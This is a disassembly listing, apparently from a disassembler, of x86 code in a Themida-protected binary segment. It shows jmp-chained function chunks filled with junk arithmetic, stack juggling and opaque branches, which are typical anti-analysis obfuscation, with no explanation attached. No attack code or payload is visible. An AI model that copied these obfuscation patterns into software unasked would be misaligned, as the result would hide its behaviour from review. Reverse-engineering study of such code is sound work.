		xor	[esp+10h+var_10], ecx
		jmp	loc_5AE749
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_5A36D1:				; CODE XREF: sub_5A41D6+5D7Fj
		jmp	loc_5AC7D7
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5A36D6:				; CODE XREF: sub_598D67+2CA6j
		push	73BAh
		mov	[esp+4+var_4], edx
		jmp	loc_5AB91F
; END OF FUNCTION CHUNK	FOR sub_598D67

; =============== S U B	R O U T	I N E =======================================



sub_5A36E3	proc near		; CODE XREF: sub_5AB1B1+1521j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059D198 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D2B3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059F893 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A0F55 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A282C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A511C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A8455 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A8F9A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A9A40 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AF0E1 SIZE 00000008 BYTES

		push	ebp
		mov	ebp, 757479D1h
		or	ebp, 45722E6Bh
		jmp	loc_59D2B3
sub_5A36E3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A36F4:				; CODE XREF: sub_59FFBE+2BE2j
		push	ecx
		mov	ecx, 65085AB5h
		xor	edi, ecx
		pop	ecx
		not	edi
		jmp	loc_59F55D
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A3704:				; CODE XREF: sub_59CA4A-4A01j
					; Themida_:005A8CA1j
		sub	edi, 2E335019h
		push	esi
		mov	esi, 7FAF5FF6h
		sub	edi, 728A54CFh
		add	edi, esi
		add	edi, 728A54CFh
		pop	esi
		add	edi, eax
		sub	edi, 7FAF5FF6h
		add	edi, 2E335019h
		jmp	loc_5A83B4
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A3732:				; CODE XREF: sub_597F0C+DAEj
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		sub	eax, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		sub	eax, 4ED96656h
		jmp	loc_5AA2BD
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A374D:				; CODE XREF: sub_5AC95F-2A87j
		mov	esi, ebp
		pop	ebp
		push	esi
		mov	esi, 460E0624h
		add	[esp+10h+var_8], esi
		pop	esi
		jmp	loc_597DCD
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A3760:				; CODE XREF: Themida_:0059E878j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	750Ch
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_59EF5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A3788:				; CODE XREF: sub_599059+EE2Fj
		and	ebp, 2B2F3120h
		not	ebp
		push	esi
		jmp	loc_59B401
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_5A3796:				; CODE XREF: Themida_:005AC172j
		push	esi
		push	esp
		pop	esi
		jmp	loc_5A1E01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ABA2


loc_5A379E:				; CODE XREF: sub_59ABA2-1FB6j
		push	esp
		pop	esi
		add	esi, 4
		push	edx
		push	263F4C94h
		push	[esp+10h+var_10]
		pop	edx
		add	esp, 4
		add	edx, 3D9442FDh
		dec	edx
		jmp	loc_59A4A4
; END OF FUNCTION CHUNK	FOR sub_59ABA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B48F


loc_5A37C2:				; CODE XREF: sub_59B48F+C99Aj
		jz	loc_5A51A3
		not	esi
		and	esi, 5EDF7253h
		jno	loc_5A7891
		xor	esi, 0DC16BAEh
		sub	ecx, esi
		pop	esi
		push	ebp
; END OF FUNCTION CHUNK	FOR sub_59B48F
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A37E0:				; CODE XREF: Themida_:005A2B79j
					; sub_5AC95F-9968j
		pop	esp
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A37E6:				; CODE XREF: Themida_:005A68AAj
		sub	edx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5A4450
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DBFF


loc_5A37F1:				; CODE XREF: sub_59DBFF-DABj
		mov	edx, esi
		mov	esi, [esp+0]
		jmp	loc_5A6A73
; END OF FUNCTION CHUNK	FOR sub_59DBFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EC11


loc_5A37FB:				; CODE XREF: sub_59EC11+ED8Cj
		pop	ecx
		mov	edx, [esp+0]
		jmp	sub_5A1AF1
; END OF FUNCTION CHUNK	FOR sub_59EC11
; ---------------------------------------------------------------------------


loc_5A3804:				; CODE XREF: Themida_:0059EDF3j
		push	ecx
		mov	ch, 76h
		not	ch
		push	ebx
		mov	bh, 0ADh
		xor	bh, 54h
		add	bh, 1
		shr	bh, 8
		dec	bh
		xor	bh, 0E2h
		add	ch, 58h
		sub	ch, bh
		sub	ch, 58h
		pop	ebx
		shr	ch, 2
		shr	ch, 3
		add	ch, 0C8h
		add	al, ch
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	al, bl
		jmp	loc_5A53E9

; =============== S U B	R O U T	I N E =======================================



sub_5A384B	proc near		; DATA XREF: Themida_:00597AD0o

var_4		= dword	ptr -4

		push	dword ptr [esp+0]
		mov	ecx, [esp+4+var_4]
		jmp	loc_5ADFC7
sub_5A384B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5A3856:				; CODE XREF: sub_598D67+1065Fj
		push	dword ptr [edi+eax*4]
		jmp	loc_5A6B1F
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A385E:				; CODE XREF: sub_59C53B:loc_5AE604j
		shl	edx, 2
		shr	edx, 6
		js	loc_5AE819
		add	edx, 51BC65B9h
		jmp	loc_59F75F
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5A3875:				; CODE XREF: sub_59EE40-9B7j
		shl	edx, 7
		xor	edx, 99BAA036h
		add	ebp, edx
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		push	esi
		jmp	loc_5A5BF2
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5A388C:				; CODE XREF: sub_5A8F00+5684j
		sub	ebx, ebp
		pop	ebp
		neg	ebx
		push	esi
		push	edi
		mov	edi, 533E78A2h
		xor	edi, 77C76D8Eh
		jnz	loc_59C88E
		shl	edi, 3
		jns	loc_5A3B0E
		inc	edi
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A38AE:				; CODE XREF: sub_5AE6FD-B213j
		push	dx
		mov	dl, 13h
		sub	dl, 5
		sub	al, dl
		pop	dx
		jmp	loc_59EAE5
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_5A38BE:				; CODE XREF: sub_5ABA9B-50C5j
		pop	edi
		add	eax, 4
		push	eax
		push	[esp+10h+var_C]
		pop	eax
		pop	[esp+10h+var_10]
		pop	esp
		jmp	loc_5AA3D8
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59852D


loc_5A38D1:				; CODE XREF: sub_59852D+Fj
		add	ebp, 7F5E5F13h
		add	esi, ebp
		jmp	loc_5ADAB7
; END OF FUNCTION CHUNK	FOR sub_59852D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A38DE:				; CODE XREF: sub_597F0C+11E2Cj
		neg	cl
		add	cl, 13h
		jno	loc_5A86B6
		jmp	loc_5A23C2
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
		jmp	loc_5A0CA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A38F3:				; CODE XREF: sub_59D99C+4C38j
		add	edi, 78DF34BBh
		pop	edx
		jmp	loc_5A4DE5
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A38FF:				; CODE XREF: Themida_:005AD76Aj
		not	ebp
		xor	ebp, 0D517202h
		mov	esi, ebp
		pop	ebp
		add	esi, 8555B493h
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_5A96E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A391A:				; CODE XREF: sub_5A1B2A-1356j
		neg	edi
		jmp	loc_5AE2C2
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_5A3921:				; CODE XREF: Themida_:005A49E2j
		mov	ebp, 5580242Fh
		sub	ebx, 0AEC5746h
		sub	ebx, 7B4C1B7Ah
		sub	ebx, ebp
		add	ebx, 7B4C1B7Ah
		jmp	loc_5AAE64

; =============== S U B	R O U T	I N E =======================================



sub_5A393F	proc near		; CODE XREF: sub_59EE24-5114j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005A0424 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A54DD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AD478 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AD5F0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005ADF8E SIZE 00000016 BYTES

		push	ebp
		jmp	loc_5AD5F0
sub_5A393F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A3945:				; CODE XREF: sub_59D99C+3113j
		xor	ecx, ebx
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		add	ecx, 59D76DA9h
		jmp	loc_59ED17
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A3958:				; CODE XREF: Themida_:0059E4A2j
		push	edx
		mov	dh, 0AFh
		shl	dh, 3
		jp	loc_598A5C
		dec	dh
		jns	loc_59E91B
		shl	dh, 3


loc_5A396F:				; CODE XREF: Themida_:005A291Ej
		xor	edx, 5EE3171Bh
		add	ebp, edx
		pop	edx
		jmp	loc_59BFCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5A397D:				; CODE XREF: sub_5AC402-C983j
		push	edi
		mov	edi, 2
		jmp	loc_5ACD03
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------


loc_5A3988:				; CODE XREF: Themida_:0059A293j
		push	5DE1h
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		mov	ebp, [esp]
		jmp	loc_5AAC6C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A39A3:				; CODE XREF: sub_5AC95F-C041j
		pop	ebp
		and	ecx, ebp
		mov	ebp, [esp+0Ch+var_C]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_59B79F
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D147


loc_5A39CC:				; CODE XREF: sub_59D147+C2F7j
					; Themida_:005ABD1Bj
		or	bp, 7591h
		xor	bp, 3BABh
		add	si, bp
		jmp	loc_5AE752
; END OF FUNCTION CHUNK	FOR sub_59D147
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A39DE:				; CODE XREF: sub_5986D6+3E29j
		shr	al, 8
		jnz	loc_5A1172
		jmp	loc_59D430
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_5A39EC:				; CODE XREF: sub_5AB98B-B71Bj
		add	esp, 2
		shr	cl, 6
		sub	esp, 4
		mov	[esp+0], ebx
		jmp	loc_59EC31
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B923


loc_5A39FD:				; CODE XREF: sub_59B923+4C63j
		push	[esp+8+var_8]
		pop	ebp
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	292Fh
		jmp	loc_5AB9FD
; END OF FUNCTION CHUNK	FOR sub_59B923
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1ED0


loc_5A3A1D:				; CODE XREF: sub_5A1ED0+6j
		push	esi
		mov	esi, 18F0042Fh
		and	ebp, esi
		pop	esi
		or	ebp, 3BCD5256h
		xor	ebp, 6FDE1E4Ah
		and	ebp, 50255B85h
		jmp	loc_5A8B07
; END OF FUNCTION CHUNK	FOR sub_5A1ED0
; ---------------------------------------------------------------------------


loc_5A3A3D:				; CODE XREF: Themida_:0059A216j
		sub	ecx, 40F63507h
		add	ecx, ebx
		add	ecx, 40F63507h
		push	ebx
		mov	ebx, 4AA72CBAh
		jmp	loc_5A0482
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A3A56:				; CODE XREF: sub_59CA4A-326j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5A045F
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DEB0


loc_5A3A67:				; CODE XREF: sub_59DEB0+1Ej
		not	edx
		xor	edx, 0A95BC907h
		or	ebp, edx
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		dec	ebp
		jmp	loc_5982EA
; END OF FUNCTION CHUNK	FOR sub_59DEB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A3A7D:				; CODE XREF: sub_59C53B:loc_5A5F9Cj
		xor	ecx, 6DB34850h
		jp	loc_5AE819
		jmp	loc_5A9629
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		mov	ch, 8Eh


loc_5A3A93:				; CODE XREF: Themida_:005A6786j
		mov	ebx, 0E4E0AB3h
		dec	ebx
		or	ebx, 72CE07EDh
		shr	ebx, 4
		inc	ebx
		jz	loc_5AA409
		jmp	loc_5A2213
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A3AAE:				; CODE XREF: sub_5A1B2A-21FDj
		mov	[esp-4+arg_0], ebp
		jmp	loc_59FE47
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_5A3AB6:				; CODE XREF: sub_59AE49+25E2j
		xor	ecx, esi
		jmp	loc_598CD7
; END OF FUNCTION CHUNK	FOR sub_59AE49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A3ABD:				; CODE XREF: sub_59A932+779Bj
					; sub_597C68+A724j ...
		push	ecx
		mov	ecx, 9037CBFCh
		mov	edi, ecx
		pop	ecx
		add	ecx, edi
		jmp	loc_5AB5D8
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A3ACD:				; CODE XREF: sub_5A8D43-5694j
		xor	bl, 75h
		sub	cl, bl
		mov	ebx, [esp+12h+var_14+2]
		add	esp, 4
		add	cl, 0Fh
		sub	al, cl
		mov	ecx, [esp+0Eh+var_10+2]
		add	esp, 4
		add	al, 0E3h
		jmp	loc_5AA6EF
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------


loc_5A3AFC:				; CODE XREF: Themida_:0059C798j
		push	edx
		mov	edx, 33950A9Fh
		mov	ecx, edx
		jmp	loc_5A78D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A3B09:				; CODE XREF: sub_5A8D43-71Ej
		jmp	loc_59DB7D
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5A3B0E:				; CODE XREF: Themida_:loc_599480j
					; sub_5A8F00-5659j
		shr	ebx, 3
		push	ebp
		mov	ebp, 68226052h
		xor	ebp, 6B383419h
		jmp	loc_59DEE7
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_5A3B22:				; CODE XREF: sub_597C68+14FA4j
		jmp	loc_5A2386
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5A3B27:				; CODE XREF: sub_5A141E+79B1j
		xor	ax, 141Bh
		jo	loc_59D6E3
		xor	ax, 679Bh
		add	ax, 1365h
		jle	loc_5A8020
		push	edx
		mov	dx, 3FAEh
		neg	dx
		shr	dx, 1
		xor	dx, 2A0h
		add	dx, 1
		push	ebp
		mov	bp, 3D10h
		jmp	loc_5AAF36
; ---------------------------------------------------------------------------


loc_5A3B5D:				; CODE XREF: sub_5A141E-96EAj
		pop	ebp
		jmp	loc_5A7A4B
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599526


loc_5A3B63:				; CODE XREF: sub_599526+2B0Ej
		sub	bl, 7Ch
		sub	bl, dl
		add	bl, 7Ch
		push	eax
		mov	ah, 0CEh
		jmp	loc_5A13A4
; END OF FUNCTION CHUNK	FOR sub_599526

; =============== S U B	R O U T	I N E =======================================



sub_5A3B73	proc near		; CODE XREF: sub_5A8C33+1C7Cj

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00597F3C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00598B35 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059B85D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059D6F7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059D912 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1435 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A256C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A2757 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A59D9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A5D9F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005AC648 SIZE 00000012 BYTES

		push	ebp
		mov	ebp, 4
		jmp	loc_59B85D
sub_5A3B73	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D151


loc_5A3B7E:				; CODE XREF: sub_59D151+F700j
		sub	edx, 3CF04206h
		add	edx, 45FB8701h
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		mov	[esp+0], eax
		mov	eax, esp
		push	ebp
		push	ebx
		mov	ebx, 5B68592Bh
		push	edx
		mov	edx, ebx
		mov	ebp, edx
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_59DE8A
; END OF FUNCTION CHUNK	FOR sub_59D151
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A94F5


loc_5A3BAD:				; CODE XREF: sub_5A94F5+28A6j
		mov	ebp, edx
		push	eax
		jmp	loc_5A9A96
; END OF FUNCTION CHUNK	FOR sub_5A94F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A3BB5:				; CODE XREF: sub_599059+2D91j
		mov	esi, 31BE5369h
		sub	esi, 0FFFFFFFFh
		push	ebp
		mov	ebp, 237D6D4Eh
		or	ebp, 2A983CFCh
		push	eax
		mov	eax, 533B5740h
		jmp	loc_5AA428
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5A3BD4:				; CODE XREF: sub_599059+58B6j
					; sub_59EE40+635Ej
		pop	esp
		add	eax, 4
		jmp	loc_5A7175
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A3BDF:				; CODE XREF: sub_5AC95F-108BDj
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		xchg	esi, [esp+4+var_4]
		jmp	loc_59C466
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A02F5


loc_5A3BF9:				; CODE XREF: sub_5A02F5+9j
		xor	edx, 382876D5h
		shr	edx, 4
		sub	esp, 4
		jmp	loc_5AC580
; END OF FUNCTION CHUNK	FOR sub_5A02F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A3C0D:				; CODE XREF: sub_59D99C+2006j
		mov	[esp+0], ebp
		mov	ebp, 749B279Fh
		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, 7A5A1B73h
		shl	esi, 1
		push	edx
		mov	edx, 97626A00h
		xor	esi, edx
		pop	edx
		xor	ebp, esi
		pop	esi
		xor	ebp, 44650816h
		push	eax
		mov	eax, 9339B6h
		sub	ebp, eax
		jmp	loc_59A0A2
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5A3C41:				; CODE XREF: sub_5A8F00+5175j
		js	loc_59D9D8
		jmp	loc_5A062E
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EF66


loc_5A3C4C:				; CODE XREF: sub_59EF66-2F62j
		push	edi
		push	esp
		pop	edi
		jmp	loc_5A9869
; END OF FUNCTION CHUNK	FOR sub_59EF66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A3C54:				; CODE XREF: sub_5A8C33+10D6j
		xor	edi, 7A0223F3h
		sub	ecx, edi
		pop	edi
		xor	ecx, 27DF0663h
		jmp	loc_5A5C37
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F20F


loc_5A3C68:				; CODE XREF: sub_59B48F+2960j
					; sub_59F20F+C125j
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ecx
		mov	ecx, 48A86B36h
		jmp	sub_5A728F
; END OF FUNCTION CHUNK	FOR sub_59F20F
; ---------------------------------------------------------------------------


loc_5A3C79:				; CODE XREF: Themida_:005A08A9j
		xor	eax, 45800304h
		mov	edi, eax
		pop	eax
		add	ebp, edi
		jmp	loc_5ADBC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9443


loc_5A3C88:				; CODE XREF: sub_5A9443+39j
		pop	esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	[esp+8+var_4]
		jmp	loc_5A25F8
; END OF FUNCTION CHUNK	FOR sub_5A9443
; ---------------------------------------------------------------------------


loc_5A3C9F:				; CODE XREF: Themida_:005AA0EDj
		pop	eax
		jmp	loc_59FAC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5A3CA5:				; CODE XREF: sub_598D67+12BBDj
		add	ecx, edx
		jmp	loc_5A3019
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A3CAC:				; CODE XREF: sub_5986D6+11645j
		sub	ecx, 519B5CD7h
		add	ecx, eax
		jmp	loc_59973A
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A3CB9:				; CODE XREF: sub_5ADDF8:loc_59AA39j
					; sub_5A1B2A-504Bj ...
		push	esi
		mov	esi, 29286BBFh
		sub	edx, esi
		mov	esi, [esp+0]
		jmp	loc_5ADA07
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A3CC9:				; CODE XREF: sub_59B707+F560j
		push	ecx
		mov	ecx, esp
		jmp	loc_5A630B
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A484D


loc_5A3CD1:				; CODE XREF: sub_5A484D+373Fj
		jnb	loc_5A5EBF
		sub	ebp, 0A814A602h
		add	ecx, ebp
		pop	ebp
		xor	ebp, ecx
		pop	ecx
		add	edi, ebp
		pop	ebp
; END OF FUNCTION CHUNK	FOR sub_5A484D
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A3CE6:				; CODE XREF: sub_59CA4A+6A5Fj
		pop	ebp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		jmp	loc_5AD77A
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599EAC


loc_5A3CFE:				; CODE XREF: sub_599EAC+7j
		mov	ch, dl
		pop	edx
		pop	bx
		mov	dh, ch
		pop	ecx
		jmp	sub_5A8E6E
; END OF FUNCTION CHUNK	FOR sub_599EAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A3D0B:				; CODE XREF: sub_59B707+AC1Cj
		push	0FDEh
		mov	[esp+18h+var_18], ebx
		push	eax
		jmp	loc_5AC07B
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A3D19:				; CODE XREF: sub_5A600F-B5EDj
		mov	edi, 35250FB5h
		mov	ecx, 0A3B353C6h
		sub	ecx, edi
		mov	edi, [esp+2+var_4+2]
		jmp	loc_5A9AAE
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5A3D2D:				; CODE XREF: sub_5A728F+4E43j
		mov	esi, ebx
		pop	ebx
		add	esi, ecx
		mov	ecx, [esp+0]
		jmp	loc_59B56C
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D663


loc_5A3D3A:				; CODE XREF: sub_59D663+26ADj
		push	2063h
		mov	[esp+8+var_8], ebx
		push	edi
		mov	edi, 4
		mov	ebx, edi
		pop	edi
		add	esi, ebx
		pop	ebx
		jmp	loc_5AE337
; END OF FUNCTION CHUNK	FOR sub_59D663
; ---------------------------------------------------------------------------


loc_5A3D53:				; CODE XREF: Themida_:005A8775j
		pop	edi
		jmp	loc_5AB3A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8899


loc_5A3D59:				; CODE XREF: sub_5A8899-107D0j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+10h+var_10]
		pop	esp
		jmp	loc_5A4E1F
; END OF FUNCTION CHUNK	FOR sub_5A8899
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A3D6D:				; CODE XREF: sub_5AC95F-4547j
		jz	loc_5A40E8
		jmp	loc_5A7DF2
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5A3D78:				; CODE XREF: sub_5ABF4A-F5Cj
		push	[esp-4+arg_0]
		pop	edi
		jmp	loc_5A1D19
; END OF FUNCTION CHUNK	FOR sub_5ABF4A

; =============== S U B	R O U T	I N E =======================================



